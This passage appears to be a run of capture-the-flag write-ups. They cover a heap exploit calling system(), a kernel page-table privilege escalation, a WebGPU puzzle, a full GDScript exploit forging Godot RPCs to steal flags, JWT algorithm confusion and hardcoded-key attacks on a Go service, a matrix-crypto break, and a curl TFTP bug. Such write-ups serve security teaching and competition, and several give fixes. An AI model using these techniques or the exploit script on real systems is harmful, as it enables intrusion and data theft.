We exploited this by carefully traversing heap structures to leak ASLR-defeating pointers through the corrupted vector’s back() method. After leaking the xor function handler address, we overwrote it with __errno_location@plt to leak libc base addresses. The final step required guessing one byte of the leaked pointer (1/256 success rate) to call system() and get the flag.

The bug

After decompiling the binary, we get roughly the following C++ code (rewritten as pseudocode for clarity):

unordered_map<string, function<int(int, int)>> ops = ...;

int main()
{
    while(true)
    {
        cout << "--- Enter code: ---\n";
        vector<int> stack;
        string cmd;
        for(;;)
        {
            cin >> cmd;
            if(cmd == "end")
                break;
            else if(cmd == "quit")
                return 0;
            auto it = ops.find(cmd);
            if(it != ops.end())
            {
                int a = stack.back();
                stack.pop_back();
                int b = stack.back();
                stack.pop_back();
                stack.push_back(it->second(a, b));
            }
            else
                stack.push_back(stoi(cmd));
        }
        cout << "Result: " << stack.back() << endl;
    }
}

We see that the app implements a simple reverse Polish notation interpreter with several predefined operations (add, sub, mul, div, and, or, xor). The stack is stored inside a C++ std::vector, and the code never checks that there are enough operands for the operation. This means, that we can make the code pop from an empty vector.

C++ vectors are represented as 3 pointers, here I’ll name them start, stop, cap (I don’t remember the actual glibcxx field names). start points to the start of the buffer (i.e. the same as the begin() iterator), stop points to the past-the-last element (same as end()), and cap points to the end of the actually allocated buffer. Crucially, std::vector never shrinks the underlying allocation unless specifically told to do so.

To exploit the bug, we have to do the following:

1. Push some integer (0) to the stack, so that the pointers become non-NULL.
2. Perform some operations on the stack, and let stop become less than start. These operations might corrupt the heap somewhere below the vector’s buffer.
3. Perform an end command. This will leak a single dword from the heap (wherever back() happens to point) and free the vector (this won’t cause any issues as long as the heap structures are intact, since the start pointer still points to the actual start of the buffer)

Heap layout

Fortunately for us, although the binary has ASLR, relative layout of the heap is still completely deterministic. This means that we can look at it in the debugger, to see if we can find a useful pointer to leak.

(gdb) p {void*[264]}(({void*}$rdi) - 264 * 8)
$3 = {0x5602a9791dbf <std::_Function_handler<int (int, int), ops[abi:cxx11]::{lambda(int, int)#7}>::_M_invoke(std::_Any_data const&, int&&, int&&)>, 0xb3b3ec7f4e05e105, 0x0, 0x411, 0x65746e45202d2d2d,
  0x2d2065646f632072, 0xa2d2d, 0x0 <repeats 126 times>, 0x411, 0x6e65206464612030, 0xa64, 0x0 <repeats 127 times>, 0x21}

Here:

• 0x411 and 0x21 are glibc heap block sizes, which are not very interesting to us
• 0x6e65206464612030, 0xa64 is our input string "0 add end\n" (this is the std::cin buffer)
• 0x65746e45202d2d2d, 0x2d2065646f632072, 0xa2d2d is the string "--- Enter code: ---\n" (this is the std::cout buffer)
• 0x5602a9791dbf is the function handler for the xor operation (we want to leak this to defeat ASLR, and later overwrite it for exploitation)
• 0xb3b3ec7f4e05e105 is the hash of the string "xor" (we’ll want to restore that one)

It turned out that the heap layout on the server differs a bit, so I had to bruteforce some of the offsets to make it work, but in the end it worked just fine.

Actually leaking stuff

Unfortunately, we can’t go through the heap with our stack interpreter without corrupting data. Or can we?

• If back() is zero, we can use or (or add) to pop it off without corrupting the next dword
• If back() is nonzero, but the next dword is zero, we can use and (or mul) to pop it off without corrupting the zero

These two facts let us slip through the heap metadata without corrupting it (since the heap is deterministic, we can just hardcode the commands here). Also, we don’t have to preserve the cout buffer — at worst, it will make the output gibberish, but even that does not seem to actually happen. But, we do have to preserve the cin buffer, since it’s where our commands are being parsed from.

To do that, I came up with the following:

1. Send data to the application in chunks of 512 bytes, wait until the latest fragment has been TCP ACKed before sending any more fragments. This ensures that the location of the cin buffer is a) well-known and b) its size is a multiple of 4.
2. When passing through the cin buffer, do it using "or " commands (note the extra space). The extra space is needed so that all dwords in the cin buffer are equal, and or operations do not corrupt the buffer.
3. Once we have passed the 0x411 that follows the hash table, zero out the hash using two and operation, pop the bottom zero using an extra or, and leak the high dword of the pointer as the “calculation” result.
4. Repeat the leak with one extra and to zero the upper dword and leak the lower one. We do not use the xor operation in our exploit, so temporarily corrupting the structure is not a problem.

Now we’ve defeated ASLR by leaking the pointer to the xor std::function handler. We can also trivially overwrite the pointer, by zeroing it first, then or‘ing in the lower half, then pushing a bunch of other dwords we want to restore (at the very least, upper half of that pointer & the hash).

If only we had a one_gadget right in the main binary…

Leaking libc

Unfortunately, the heap does not seem to contain libc pointers that can be leaked with our primitive. A teammate suggested that I could cause pressure to the allocator to cause it to leak some libc pointers to the heap, but since the only operation we can really do is reallocating the vector during push_back, that one is a no-go. I decided to search through the binary’s PLT to see if it contains a useful function. And sure it does!

The abi of the std::function handlers, as used by the binary, is int(void*, int*, int*). This means that we can call any function with a single partially controlled argument (the first argument is the std::function itself, 0x18 bytes before the pointer). And there is a useful function in the imports: int* __errno_location(void). Through my experiments, I observed that the address it returns, although not lying directly inside libc, is always at a constant offset from it, so it can be used to leak the libc base (and thus the address of system).

Now, if we overwrite the 0x5602a9791dbf pointer with a pointer to __errno_location@plt inside the binary, and execute an innocent 1 2 xor end, we get a truncated pointer as a result. Knowing the 32 lowest bits of the pointer, we can assume that the 5th byte (bits 40-47) is 0x7f (was always the case on my machine, at the very least), and assume a random value for the 4th byte. This will make the exploit have only a 1/256 chance of success, but it’s better than nothing.

Calling system()

Now that we’ve leaked (hopefully!) the address of system, we can use the same heap write primitive to write "cat /flag*; sleep inf" to the start of our std::function, also overwriting its handler with system(), then execute 1 2 xor again to get the flag. At this point, we either crash (if our guessed byte was incorrect), or get the flag and hang up.

I then put the exploit on repeat, and after about 10 minutes it gave me the flag.

We used the “dirty page” technique to replace freed kernel objects with page table entries. By mapping memory at specific addresses and using the vulnerable increment primitive to modify physical addresses within page tables, we gained read/write access to all physical memory. Finally, we patched the kexec_load syscall with privilege escalation shellcode to get root and retrieve the flag.

The bug

In this task, we’re given a buggy kernel module, and we’re asked to get root on a machine with this buggy module loaded. The module exposes a /dev/vuln device, with a handful of ioctls:

static struct kmem_cache *obj_cachep;
static DEFINE_MUTEX(module_lock);

unsigned char inc_used = 0;
struct obj *selected = 0;
struct obj *obj_array[MAX_OBJ_NUM] = { NULL };

static long module_ioctl(struct file *file, unsigned int cmd, unsigned long arg) {
  long ret = -EINVAL;
  mutex_lock(&module_lock);

  if (arg >= MAX_OBJ_NUM)
    goto out;

  switch (cmd) {
    case CMD_ALLOC:
      obj_array[arg] = kmem_cache_zalloc(obj_cachep, GFP_KERNEL);
      ret = 0;
      break;

    case CMD_SEL:
      if (!obj_array[arg])
        goto out;
      selected = obj_array[arg];
      ret = 0;
      break;

    case CMD_INC:
      if (inc_used++ > 1)
        goto out;
      selected->cnt++;
      ret = 0;
      break;

    case CMD_DELETE:
      if (!obj_array[arg])
        goto out;
      kmem_cache_free(obj_cachep, obj_array[arg]);
      obj_array[arg] = NULL;
      ret = 0;
      break;
  }

 out:
  mutex_unlock(&module_lock);
  return ret;
}

This module lets us allocate up to 256 “objects”, deallocate already allocated objects, “select” one object (this stores the pointer to the object in a static variable), and increment a field inside the object (the object is 0x800 bytes in size, and the field we’re incrementing is at 0x7f8).

It seems that the authors meant to have the increment primitive being usable only once, but since the inc_used variable is only 8 bits, it can be easily overflown, and this restriction is not really an issue.

Linux heap basics (really quickly)

In the Linux kernel, allocations are usually performed from so-called slabs. This means that a page is divided into consecutive chunks of the same size, and they are allocated/freed as necessary. A page is never shared between different slabs at the same time. There are both “generic” slabs for kmalloc allocations of common sizes, and specialized slabs that hold only one type of objects (like the one used in this task).

The “Dirty page” technique

Since reallocating a freed struct obj with another struct obj is not very useful, and the slab is specialized, what we have to do is free the whole page containing the freed object, and replace it with a completely different type of page. A common technique here is to reallocate it as a pagetable for a userspace process.

So, the exploit flow is as follows:

1. Allocate a bunch of vulnerable objects, “select” one of them, then free the objects.
2. Use memfd_create to get an ephemeral in-memory file, resize it to 1 page (4096 bytes), and map it at multiple addresses, whose lower 21 bits are 0xff000. This ensures that a separate page table is allocated for each mapping, and the shared page’s physical address is stored at offset 0x7f8 inside the page table.
3. Use the vulnerable increment primitive to “increment” the vulnerable object 4096 times. This makes the address in the page table point to the next physical page instead of the original one.
4. Flush the TLB by mprotecting the mappings to RO and back to RW and reprobing every page.
5. Find the one page where the page contents differ from the other pages.
6. Keep incrementing the vulnerable object until our buggy page looks like a pagetable (has a single nonzero qword at offset 0x7f8, whose lowermost byte is 0x67 and uppermost byte is 0x80)
7. Replace that mapping with 7 (which points to physical address 0 with user RWX permissions), search through the mappings again until we find a real-mode IVT in one of them.
8. Now we can write any 512 physical addresses (OR’ed with 7 to give userspace RW permissions) to the first bogus page, and access the corresponding pages through the second bogus mapping.

After we’ve got RW access to all of the physical memory, all we need to do is to patch some useless syscall with shellcode that will give us root. I opted to replace kexec_load with a small shellcode that calls commit_creds(prepare_kernel_cred(&init_task)), which gives our process root & full capabilities. Since we’re working at physical memory level, memory permissions are not an issue, and we can just pattern-match the original kexec_load syscall and replace it with the shellcode. After that, a system("cat /dev/sdb") is all it takes to get the flag.

We had to reverse enormous minified JavaScript, brute-force our way to find the correct washing cycle and temperature combination, and patch the shader code to give us the computed texture data back.

We were the only team that managed to solve this challenge.

The challenge was given as an URL to a webpage.

Initially, just an empty page was rendered. Firefox doesn’t support WebGPU, and Chromium requires extra flags to enable it.

On Linux, the following flags are required to enable it (Vulkan is not strictly necessary, but it’s painfully slow without it):

chrome --enable-unsafe-webgpu --enable-features=Vulkan

The challenge begins with an animated 3D scene with a fancy washing machine being loaded with a really dirty towel. As it being brought closer, you can barely see SAS{ and } letters written on it.

You select one of the 10 washing cycles, adjust temperature from 20 to 100 degrees Celsius, and press a button start the washing cycle:

The towel slowly morphs into a fine mess of colored pixels, but the washing cycle never seems to end.

It’s time to dive into the code.

Code

All the code is contained in a 55 MB file of minified and lightly obfuscated JavaScript. All the logic, entire BabylonJS library, models and textures are bundled within.

I beautified the file, and started looking around.

The logic we’re interested in is located at the end of the file. It was hard to follow, and I never understood it entirely, but eventually I saw some patterns that were enough to get to the solution.

First, the mode and the temperature are used as a seed to a PRNG:

const _0x5b4ed5 = nc['xoroshiro128plus'](_0x34c5ac['nMode'] * 0x64 + _0x34c5ac['nTemp']);

Second, the washing itself is implemented with several compute shaders. I didn’t bother to understand any of them in detail, but apparently the input is initialized with aforementioned PRNG, and the output gets rendered on towel. Unless mode and temperature are both right, you’ll only get randomly colored pixels.

Third, the computation is slowed down with setTimeout. I decreased setTimeout argument from 10 seconds (0x2710) to 1 millisecond, the washing cycle became much faster, actually completing in about a minute.

Solving the task

10 washing cycles × 81 temperature settings equals to 810. It’s not that bad. Brute force search is absolutely feasible, and likely is the intended solution.

Now, I was at the fork in the road:

• I could extract compute shaders, their inputs, etc. and run them as standalone script.
• I could play dirty, and modify the existing code to make it do what I want.

I opted for the second path.

Here’s the list of changes I did:

1. Reduced artificial delays between iterations (see above).
2. Removed the intro sequence of towel being brought to the washing machine.
3. Added code to setup cycle, temperature, and start the washing program from URL parameters.
4. Added a call to a global function __WASHCALLBACK once washing is done.

I wrote a Puppeteer script that would launch multiple browsers in parallel, and and take a screenshot of the result.

import { launch, Browser, LaunchOptions } from "puppeteer"

import { Semaphore } from 'async-mutex';

import { existsSync } from 'node:fs';

async function sleep(ms: number) {
    await new Promise((resolve) => setTimeout(resolve, ms));
}

async function wash(browser: Browser, mode: number, temp: number) {
    const filename = `images/mode${mode}_temp${String(temp).padStart(3, '0')}.png`;

    if (existsSync(filename)) return;

    const label = `mode${mode}_temp${temp}`;
    console.log(`${label}: starting`);
    console.time(label);
    const page = await browser.newPage();
    try {
        // conserve GPU resources by rendering 3D scene in lower resolution
        // while still washing
        await page.setViewport({
            width: 128,
            height: 128,
        });

        await new Promise(async resolve => {
            await page.exposeFunction('__WASHCALLBACK', () => {
                resolve(null);
            });
            await page.goto(`http://127.0.0.1:8000/index.html?mode=${mode}&temp=${temp}&start=500`, { timeout: 60000, waitUntil: 'networkidle2' });
            console.log(`${label}: page opened`);
        });

        await page.setViewport({
            width: 1920,
            height: 1080,
        });

        await page.screenshot({
            path: filename as any // fuck you typescript, this always ends with .png, you stupid fuck
        });

        console.timeEnd(label);
    } finally {
        await page.close();
    }
}

async function main() {
    const limiter = new Semaphore(24);
    let promises: Promise<any>[] = [];

    for (let mode = 0; mode <= 9; mode++) {
        const mode_ = mode;
        for (let temp = 20; temp <= 100; temp++) {
            const temp_ = temp;
            promises.push(limiter.runExclusive(async _ => {
                let opts: LaunchOptions = {
                    headless: true,
                    args: [
                        "--enable-unsafe-webgpu", "--enable-features=Vulkan", "--enable-gpu",
                        "--ignore-gpu-blocklist",
                        "--enable-gpu-client-logging", "--enable-logging=stderr",
                        "--disable-background-timer-throttling",
                        "--disable-renderer-backgrounding",
                    ],
                };
                const browser = await launch(opts);
                try {
                    await wash(browser, mode_, temp_);
                } finally {
                    browser.close();
                }
            }));
        }
    }

    await Promise.all(promises);
}
main();

Convincing Chrome to use GPU in headless mode took longer than I’d like to admit. Some of the args are probably unnecessary. What I wasn’t able to do is to use a single Chrome instance, as it throttles background tabs so much they barely make any progress.

Launching 24 Chrome instances causes a massive CPU usage spike, but things remain calm afterwards.

In the end, this script took about half an hour on my relatively old desktop PC.

This is the video of all end results:

You probably can’t see it well in the video, but one of the results is not like the others. Instead of random RGB colors, there’s apparently only black and white:

Extracting the texture

So this texture hopefully contains the flag. But taking it out of the washing machine turned out to be a lot of trouble.

You see, fragment shader (aka pixel shader) writes its result to the screen. To my knowledge, you can’t just retrieve back what it just drew on the screen.

After many trial-and-errors, I figured out a way that works. I added a buffer output to the shader so it would also write the result there along with drawing it on the screen.

${_0x51a072}
${_0x415b4b}
var texture0 : texture_2d<f32>;
var texture1 : texture_2d<f32>;
var texture2 : texture_2d<f32>;
var texture3 : texture_2d<f32>;
var texture4 : texture_2d<f32>;
var<uniform> params: f32;

var<storage, read_write> kek : array<vec4f>; // <-- BUFFER DECLARATION

@fragment
fn main(input : FragmentInputs) -> FragmentOutputs {
    let base = clamp(
        vec2u(u32(round(fragmentInputs.uv.x * 2047)), u32(round(fragmentInputs.uv.y * 1023))),
        vec2u(fragmentInputs.uv0Clamp.x, fragmentInputs.uv0Clamp.y - 15),
        vec2u(fragmentInputs.uv0Clamp.x + 15, fragmentInputs.uv0Clamp.y)
    );
    let c0 = vec4u(round(textureLoad(texture0, base, 0) * 255));
    let res = mix(
        vec4f((vec4f(c0)/255).xyz, 1),
        vec4f((vec4f(
            c0
            ^ vec4u(round(textureLoad(texture1, (base + fragmentInputs.uv1Clamp) - fragmentInputs.uv0Clamp, 0) * 255))
            ^ vec4u(round(textureLoad(texture2, (base + fragmentInputs.uv2Clamp) - fragmentInputs.uv0Clamp, 0) * 255))
            ^ vec4u(round(textureLoad(texture3, (base + fragmentInputs.uv3Clamp) - fragmentInputs.uv0Clamp, 0) * 255))
            ^ vec4u(round(textureLoad(texture4, (base + fragmentInputs.uv4Clamp) - fragmentInputs.uv0Clamp, 0) * 255)))/255).xyz, 1),
        params
    );

    kek[base.x + base.y * 2048] = res; // <-- BUFFER WRITE

    fragmentOutputs.color = res;
}

And the code to set up and display buffer contents afterwards:

window.globalBuf = new Ps(_0x429972, 2048*1024*4*4, G['BUFFER_CREATIONFLAG_WRITE'] | G['BUFFER_CREATIONFLAG_READ']);
// to call show() manually in the dev console
window.show = async function() {
    const buffer = await globalBuf.read();
    const arr = new Float32Array(buffer.buffer);
    const uint8c = new Uint8ClampedArray(arr.length);
    for (let i = 0; i < arr.length; i++) {
        uint8c[i] = arr[i] * 255;
    }

    const canvas = new OffscreenCanvas(2048, 1024);
    const ctx = canvas.getContext("2d");
    ctx.putImageData(new ImageData(uint8c, 2048, 1024), 0, 0);

    const blob = await canvas.convertToBlob();
    const url = URL.createObjectURL(blob);
    window.open(url);
};

// ...
    _0x483e57['setStorageBuffer']('kek', globalBuf),
// ...

It also took some embarrassing amount of time to figure out that the original texture is rectangular, and I have to match the dimensions exactly (more on that later). Behind this simple kek[base.x + base.y * 2048] = res there were a lot of failed attempts.

Applying the texture back

Okay, we’re getting closer, but there’s still something wrong.

My guess (which turned out to be right) was that the towel model has weird UV mapping which basically shuffles small squares of the texture before projecting them onto surface.

So my next idea was to replace the dirty towel texture with the extracted one, hoping that I’d see the flag when it’s being brought to the washing machine.

The first attempt was not successful, as I erroneously extracted a square texture instead of a rectangular one. Missing texels were drawn as black squares, which threw me off the track for a while, as I assumed it was some kind of 2D matrix code.

Thanks to my teammate @dsp25no’s wise input, I decided to look again. I noticed that the texture is being read with textureLoad, which expects raw integer coordinates (unlike textureSample, which accepts [0.0, 1.0] range), so the black squares were simply due to out-of-bounds reads.

After fixing the code to extract 2048x1024 texture, and fiddling a bit with mirroring, I finally felt I’m almost there:

Damn, I can’t see the entire flag. But I can patch the vertex shader to straighten the towel a bit:

positionUpdated.x += abs(positionUpdated.y);
positionUpdated.y = 0;
positionUpdated.x -= 0.1;

Okay, the right side is fucked up. Let’s try something else…

positionUpdated.x -= 0.6;

That should do it!

SAS{
 l1f3_15_l4undry_
 d1e_w3lt_157_d1e_w45chm45ch1n3_
 13d17f5353c7a5facf134f1ea16a
}

This task was a multiplayer FPS game based on Godot engine. This is something you don’t see on CTFs often, let alone on attack-defense ones. One notable example I can think of is Pwn Adventure on Ghost in the Shellcode CTF many years ago. Although Pwn Adventure was considerably more complex, it was a jeopardy competition, and yet Lonely Island appeared on an attack-defense CTF.

The game itself is simple. It’s a capture the flag FPS shooter, akin to old-school arena shooters like Unreal Tournament or Quake (yes, being an Unreal guy myself, in this particular order). It follows the pirate theme of FAUST CTF 2021 itself. There’s only one map and only one weapon, projectile-based musket of some sort, which kills opponents in one shot. The gameplay itself has some bugs: you can hack your speed, the shadows are cast in the wrong direction from the sun, etc. But these bugs have nothing to do with the flags of the A/D competition.

When you register an account, you can input some bio text about yourself. You can befriend another player, and if they do the same to you, you’ll see each other’s biographies in the friend list. The check system registers accounts, and stores the flags in their biographies. So if you could befriend a check system account, and make it do the same to you, you’ll be a able to steal a flag.

Vulnerability

In Godot, game logic is written in a high-level language called GDScript. Luckily, the scripts are stored in their source code form inside the game .pck archives, which can be easily unpacked and repacked using various tools, like godot-unpacker and GodotPckTool (the latter is more powerful).

For every client connection, the server has a corresponding object, which source code can be found in server/connection.gd:

extends Node

func answer_rpc(method: String, args: Array):
	self.callv("rpc_id", [int(self.name), method] + args)

master func register(name: String, pw: String, bio: String):
	answer_rpc("register_callback", get_parent().register(name, pw, bio))

master func login(name: String, pw: String):
	answer_rpc("login_callback", [get_parent().login(int(self.name), name, pw)])

master func join_game():
	get_parent().join_game(int(self.name))

master func add_friend(name: String):
	get_parent().add_friend(int(self.name), name)

master func get_friends():
	answer_rpc("friendlist_callback", [get_parent().get_friends(int(self.name))])

self.name is initialized to network peer ID in _on_peer_connected callback in server/server.gd:

func _on_peer_connected(id: int):
	var connection = Node.new()
	connection.set_script(preload("res://server/connection.gd"))
	connection.name = str(id)
	add_child(connection)

Objects in Godot are organized in a hierarchy. For example, given peer ID 1748223063, the full path for the connection object thus would be Remote/1748223063.

There is a concept of object ownership in Godot: the authoritative owner for each object is either the server or one of the peers. However, this doesn’t present any security barrier: you’re free to call any RPC method of any object. You can even call a puppet method of an object owned by some other peer: the server will route a method call for you (in this particular case all objects of interest are owned by the server, though). There’s a way to verify the sender, but it has to be done explicitly.

So this gives us the idea: we can try to call add_friend on behalf of another player, making it befriend us. And after we befrined him ourselves, we’ll see his bio in our friend list.

However, in order to that, the player has to be connected when we issue a forged add_friend call (there wouldn’t be a connection node otherwise), and we must know his peer ID (because that’s the name of the connection node) . Maybe there’s a way to simply ask the server for the list of ID of all connected peers. But I never bothered to check it, because there was another obvious way: when player enters the game, a new player node (in-game object) is created with name equal to peer ID:

// server/game.gd
func join(id: int, playerinfo) -> bool:
	if id in players:
		return false
	players[id] = true
	var min_team = teams[0]
	var teamid = 0
	for i in range(1, len(teams)):
		if len(teams[i]) < len(min_team):
			min_team = teams[i]
			teamid = i
	min_team[id] = true
	create_player(id, playerinfo.name, teamid)
	for target_id in players:
		if target_id != id:
			self.rpc_id(target_id, "create_player", id, playerinfo.name, teamid)
	return true

// client/game.gd
puppet func create_player(id: int, name: String, teamid: int):
	if not visible or has_node(str(id)):
		return
	var player = preload("res://client/player.tscn").instance()
	player.name = str(id)
	player.player_name = name
	player.teamid = teamid
	add_child_below_node($Flag1, player)

The check system’s player does join the game for a brief moment. So if our exploit simply joined the game, and waited for a player to appear, it could forge these RPC calls right away, inside create_player RPC handler.

Exploit

The idea doesn’t sound too complicated, but how to automate this? Do we need to actually run a modified game client with graphics? Luckily, Godot has a CLI mode to execute a script directly. We can write some bare-bones script that would connect, and then call the required RPC methods to register, login and join the game. We don’t have to implement all the methods and all object types. The engine will spew errors about missing nodes when something happens in the game (player characters move, etc.), but these errors can be safely ignored.

Note that there are several source files: we have to mirror the object hierarchy, so the objects will have proper fully-qualified names. E.g. there should be a Remote at the top, Remote/1748223063 would be our fake connection objects of other players, and Remote/Game is the object that receives create_player calls.

You can download the exploit archive here.

main.gd

extends SceneTree

func _init():
    var node := Node.new()
    node.set_script(load("./control.gd"))
    get_root().add_child(node)
    node.stuff()
    yield()
    quit()

control.gd

extends Node

signal connection_changed

var connection: Node

func stuff():
    name = "Remote"

    var game := Node.new()
    game.set_script(load("./game.gd"))
    game.name = "Game"
    add_child(game)

    var peer := NetworkedMultiplayerENet.new()
    peer.connect("connection_failed", self, "emit_signal", ["connection_changed", false])
    peer.connect("connection_succeeded", self, "emit_signal", ["connection_changed", true])
    peer.connect("server_disconnected", self, "server_disconnected")
    if peer.create_client(OS.get_environment("target"), 4321) != OK:
        print("create_client failed")

    get_tree().network_peer = peer
    if yield(self, "connection_changed"):
        connection = Node.new()
        connection.set_script(load("connection.gd"))
        connection.name = str(get_tree().get_network_unique_id())
        print("our connection name is ", connection.name)
        add_child(connection)
    else:
        print("fail")

    var username = OS.get_environment("username")
    var password = OS.get_environment("password")

    connection.rpc_id(1, "register", username, password, "")
    yield(connection, "registered")

    connection.rpc_id(1, "login", username, password)
    if yield(connection, "login"):
        print("logged in")
    else:
        print("Cannot log in")

    connection.rpc_id(1, "join_game")

    connection.rpc_id(1, "get_friends")
    var friends = yield(connection, "friendlist")
    print(friends)

func server_disconnected():
    get_tree().quit(1)

game.gd

extends Node

puppet func playerlist(list: Array):
    print("playerlist ", list)

puppet func create_player(id: int, name: String, teamid: int):
    print("create_player ", id, name, teamid)

    var connection := Node.new()
    connection.set_script(load("./decoded_pck/client_godot_decoded/client/connection.gd"))
    connection.name = str(id)
    get_parent().add_child(connection)

    connection.rpc_id(1, "add_friend", OS.get_environment("username"))
    get_parent().connection.rpc_id(1, "add_friend", name)

    get_parent().connection.rpc_id(1, "get_friends")
    var friends = yield(get_parent().connection, "friendlist")
    print(friends)

puppet func delete_player(id: int):
    print("delete_player ", id)

Patching

How can we patch this vulnerability? As I said earlier, there is a way to verify sender: get_tree().get_rpc_sender_id() returns the ID of the peer that issued the RPC call being currently handled. Since self.name is initialized to the peer ID, we could simply compare them:

master func add_friend(name: String):
	var id = int(self.name)
	if id != get_tree().get_rpc_sender_id():
		print("EXPLOITATION DETECTED", " ", id, "!=", get_tree().get_rpc_sender_id())
		return
	get_parent().add_friend(id, name)

Service description

The legend of the service is parcel status tracking, like UPS or something. The service provides the following functionality:

• User registration/login
• Storing of user settings, which are “delivery address” and “credit card number” (the latter contains the flag)
• Posting publicly accessible feedback reviews
• Parcel tracking itself

The scoreboard bot registers a user, logins using these credentials, stores a flag into the credit card number field, and posts a feedback review. As the feedback is publicly accessible, the latter action provides a way to get usernames of scoreboard users, which would not be possible otherwise.

The parcel tracking feature, somewhat counterintuitively, does not contain any bugs and does not have any uses (at least none we’re aware of).

IPPS is written in Go. The sources were provided by the organizers, which makes it a real pleasure to solve the challenge.

Service APIs

There are 3 different ways to communicate with the service.

1. Web interface

   The first way to communicate with the service is its web interface. It is a classical web application which provides access to all features of the service.

   The web interface uses a session cookie mechanism to store information about current user (e.g. has the user logged in, and her username in case she has).

2. JSON API

   The service provides a set of REST endpoints. These endpoints allow logging in and requesting credit card information for a user. This part supposed to have the same authorization mechanism as the web interface, see more in the description of bug #1.

3. GRPC service

   IPPS also has GRPC service running on a separate port. It provides a way to retrieve a user’s credit card information as well.

   GRPC uses an authorization mechanism that is different from the one used by other APIs. A user can request a JWT for a username/password pair, and then use it to retrieve credit card info. The token is signed using an RSA key pair, and the public key is also available via another GRPC endpoint.

Vulnerabilities

The service contained a set of four different vulnerabilities, which are covered below.

Each vulnerability provides a way to get the credit card number of a user without knowing her password.

Retrieving user names

The service does not provide a way to list all users. However, scoreboard users post a publicly accessible feedback review. To exploit either of the vulnerabilities, teams must scrap the feedback page and extract user names.

Bug #1: IDOR in the JSON API

First and the simplest bug is that JSON API does not perform any access checks before giving out users’ information. The endpoint /api/user/<username> prints user credit card no matter user authorized or not. The exploitation is pretty trivial.

To mitigate the vulnerability, a team should enable loginChecker middleware for the JSON APIs. It is already implemented in a separate file, but never used in the original source.

Bugs #2 and #3: hardcoded keys

The service has two values that are supposed to be kept in secret: the session cookie signing key, and the private part of the JWT signing key pair.

Both values were hardcoded in the original service distribution, which meant that other teams’ installations use the same secrets. It allowed session cookie forgery, as well as JWT forgery for the GRPC interface. The exploitation of the vulnerability is easy if you write the exploit in Go because you can reuse the code from the challenge to make up both values.

To mitigate these vulnerabilities a team should regenerate JWT signing RSA key pair and change session cookie secret to any random value.

Bug #4: Invalid JWT validation in the GRPC service

The last vulnerability was also the hardest to spot. It is present in the JWT verification code in the GRPC service.

As mentioned below, the GRPC part of the service has a unique authorization mechanism. First, a user requests a JWT by providing credentials. The server validates the credentials, and, if they are correct, generates and signs a token that contains username information. Second, the user sends this token to retrieve her credit card number.

The token is signed using an RSA key pair, which corresponds to the RS256 JWT algorithm. A well-known attack on JWT authorization is to change the algorithm to “none” or invalid value in hopes that signature verification will be skipped entirely.

This service does not allow “none” algorithm; however, it supports “HS256” algorithm, which is based on symmetrical cryptography — the signing key is the same as the verification key.

The bug resides in this HS256 support. After carefully reading the source code, it can be noted that the key argument of the JWT verification function is always the public part of the RSA key pair. It is correct for the RS256 algorithm but makes no sense for HS256 variant: the public part is, well, public, and anyone knowing HS256 validation key can forge the token.

To exploit the vulnerability, an attacker can retrieve RSA public key via GRPC (the service provides such endpoint) and then use it to sign a forged JWT via HS256 algorithm. It can be done using any JWT library, but we used the same code the challenge uses to be sure everything will go smoothly.

In order to mitigate this one, teams could disable HS256 algorithm altogether. The login process via JWT does not provide a way to generate HS256 signed token, so there’s no way for such a token to be legit.

Final notes

While the vulnerabilities were not very hard to find and exploit, it was enjoyable and entertaining to solve this challenge. The FAUST team does a great job organizing the CTF for the fifth time, and we’re looking forward to winning it again next year.

• First of all, we operate in the field $\mathbb{Z}_p$, where $p = 2^{32} - 5$.

• Key generation:
  1. Generate random matrices $X_0 \in \mathbb{Z}_p^{8\times8},\,A^\prime, B^\prime \in \mathbb{Z}_p^{4\times8}$.
  2. Obtain $A, B \in \mathbb{Z}_p^{8\times8}$ as rows of $A^\prime, B^\prime$ plus some their linear combinations.
  3. Obtain $C = -(A X_0^2 + B X_0)$.
  4. Finally, $X_0$ becomes a private key, and $\langle A, B, C\rangle$ becomes a public key.
• Encryption:
  1. Encode the plaintext message as $M \in \mathbb{Z}_p^{8\times8}$.
  2. Generate a random matrix $R \in \mathbb{Z}_p^{8\times8}$.
  3. Obtain $A_e = R A,\, B_e = R B,\, C_e = R C + M$.
  4. $\langle A_e, B_e, C_e\rangle$ becomes an encrypted message.
• Decryption:
  1. Obtain $M = A_e X_0^2 + B_e X_0 + C_e$.
  2. Decode $M$ as a plaintext message.

The key idea of this cryptographic scheme is to consider a quadratic matrix equation

The decryption procedure works because we can cancel out the random $R$ using the property that the private $X_0$ satisfies this quadratic equation by construction of $C$:

The matrices $A, B$ are generated the way that almost surely $\operatorname{rank} A = \operatorname{rank} B = 4$, so $A$ is not invertible, which prevents us from completing the square and scaling through by $A^{-1}$ to solve the quadratic equation effectively.

However, we can actually cancel out the $R$ with another equation which we can solve effectively, for example, the linear one:

Since $\left(A + B\right)$ is invertible, $Y_0 = -\left(A + B\right)^{-1} C$ is obviously the solution of this linear equation, hence

Another way to look at this trick is to notice that

Anyway, we can decrypt the flag using only the public key $\langle A, B, C\rangle$ and the encrypted message $\langle A_e, B_e, C_e\rangle$:

TWCTF{pa+h_t0_tomorr0w}

Introduction

Okay, let’s do this one last time… The challenge implements a certain type of jail, where we are allowed to execute PHP code, but the execution of some functions is restricted by disable_functions, so you can’t get code execution straight ahead. Also, you can’t directly open any file on the system due to open_basedir being set to /tmp:/var/www/html. To get flag you have to get a stable code execution on the server and execute /readflag suid binary.

By looking into phpinfo() and Dockerfile we can see that our version of PHP was built with support of different libraries, but in particular, I was attracted by libcurl. Since I am subscribed to amazing oss-security mailing list, I noticed curl advisory about heap buffer overflow vulnerability in TFTP protocol published couple of days ago. As we can see from phpinfo(); our built-in version of curl supports TFTP protocol as well.

Review of CVE-2019-5482

Curl has pretty good security advisories, which provide us with useful information about the type of the bug, how to trigger it, when the bug was introduced and how it was patched. To debug this vulnerability I cloned curl source code from GitHub repo and did git reset --hard to some commit, so that version in phpinfo() and version in cloned repo would match. That way it was possible to compile curl with gdb symbols to LD_PRELOAD it later into apache process, so it would be so much easier to debug the process. After all, I realize that this was a terrible mistake and I describe it in more details in Mistakes were made chapter, as well as more correct way of the getting source code of curl to solve this challenge.

After going into the source code of TFTP protocol we can see that tftp_connect function allocates send buffer, receive buffer and tftp_state_data_t structure. From lib/tftp.c:

static CURLcode tftp_connect(struct connectdata *conn, bool *done)
{
  tftp_state_data_t *state;
  int blksize;

  blksize = TFTP_BLKSIZE_DEFAULT;

  state = conn->proto.tftpc = calloc(1, sizeof(tftp_state_data_t));
  if(!state)
